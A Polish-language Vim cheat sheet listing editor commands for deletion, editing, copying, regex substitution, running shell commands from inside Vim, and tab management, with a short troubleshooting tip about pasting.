dd – kasowanie bieżącej linii
ndd – kasowanie <n> linii
D – kasowanie znaków od kursora do końca bieżącej lini
dG – kasowanie wszystkiego od kursora do końca dokumentu

edycja tekstu
o – wstawienie nowej linii poniżej bieżącej
O – wstawienie nowej linii powyżej bieżącej
i – rozpoczęcie edycji przed kursorem
I – rozpoczęcie edycji na początku bieżącej linii
a – rozpoczęcie edycji po kursorze
A – rozpoczęcie edycji na końcu bieżącej linii
cw – zastąpienie wyrazu (bieżący wyraz się kasuje, kursor ustawia się na jego początku)
cc – zastąpienie linii (bieżąca linia się kasuje, kursor ustawia się na jej początku)

kopiowanie i wstawianie
yw – kopiuj do schowka bieżący wyraz
yb – kopiuj do schowka poprzedni wyraz
Y – kopiuj do schowka bieżącą linię
nY – kopiuj następne <n> linii
p – wklej skopiowany tekst za kursorem
P – wklej skopiowany tekst przed kursorem

inne
u – cofnięcie ostatniej zmiany
U – cofnięcie wszystkich zmian w bieżącej linii
. – powtórzenie ostatniej komendy
SHIFT+# – wyszukiwanie wyrażeń pasujących do zaznaczonego
SHIFT+% – przejście do kolejnego nawiasu () lub {}
~ – zmiana litery z małej na dużą i na odwrót

zastępowanie
Można używać wyrażeń regularnych PERL- kompatybilnych

zastąpienie stringu OLD stringiem NEW
:s/OLD/NEW – pierwszego wystąpienia w bieżącej linii
:s/OLD/NEW/g – każdego wystąpienia w linii
:#,#s/OLD/NEW/g – pomiędzy liniami # i #
:%s/OLD/NEW/g – w całym dokumencie
:%s/\([0-9]\+\) OLD/\1 NEW/g – w całym dokumencie z użyciem backreferencji (trzeba poprzez „\” wyescapować znaki specjalne, następnie poprzez „\1” wstawić wyciągnięte dane)

praca z danymi zewnętrznymi
Vim umożliwia wywołanie dowolnej komendy z poziomu edytora, można także odczytywać efekt jej działania

:! komenda – wywołanie 'komenda’ w shellu i wyświetlenie jej wyniku, komenda może być każde polecenie unixowe
:r ! komenda – wywołanie 'komenda’ w shellu i wczytanie wyniku jej działania do edytora
:r ! last | grep user – na wywoływanych komendach można robić dowolne operacje przed wczytaniem do edytora
:r textfile – wczytanie źródła pliku 'textfile’ do edytora
:r ! w3m http://en.wikipedia.org/wiki/Vi -dump – wczytanie do edytora zawartości strony internetowej

Praca z zakładkami
:tabs – wyświetlenie informacjie o aktualnie otwartych zakładkach
:tabnew – otwarcie pustej zakładki
:tabnew FILE – otwarcie pliku FILE w nowej zakładce
:tabf FILE – otwarcie pliku w nowej zakładce
:tabn – przejście do następnej zakładki
gt – przejście do następnej zakładki (działa w trybie NORMAL)
gT – przejście do poprzedniej zakładki (działa w trybie NORMAL)
n gt – przejście do zakładki o numerze n (działa w trybie NORMAL)
n gT – cofnięcie się do zakładki znajdującej się w odległości n od aktualnej (działa w trybie NORMAL)
:tabp – przejście do poprzedniej zakładki
:tabl – przejście do ostatniej zakładki
:tabc – zamknięcie aktualnej zakładki, gdy jest jedna karta, to nie będzie zamknięta
:tabo – zamknięcie wszystkich zakładek oprócz tej która jest aktualnie używana
:tabd KOMENDA – wykonuje komendę na wszystkich otwartych zakładkach

Polecam rewelacyjny VIM Tutorial.

Możliwe problemy i ich rozwiązania

  • Jeżeli przy wklejaniu do konsoli kodu z tabulacjami/spacjami tworzą się niechciane wcięcia należy użyć polecenia „:set paste” następnie wkleić kod i ponownie ustawić „:set nopaste”, więcej o wklejaniu na w tym temacie stackoverflow.

Zobacz też A vim Tutorial and Primer.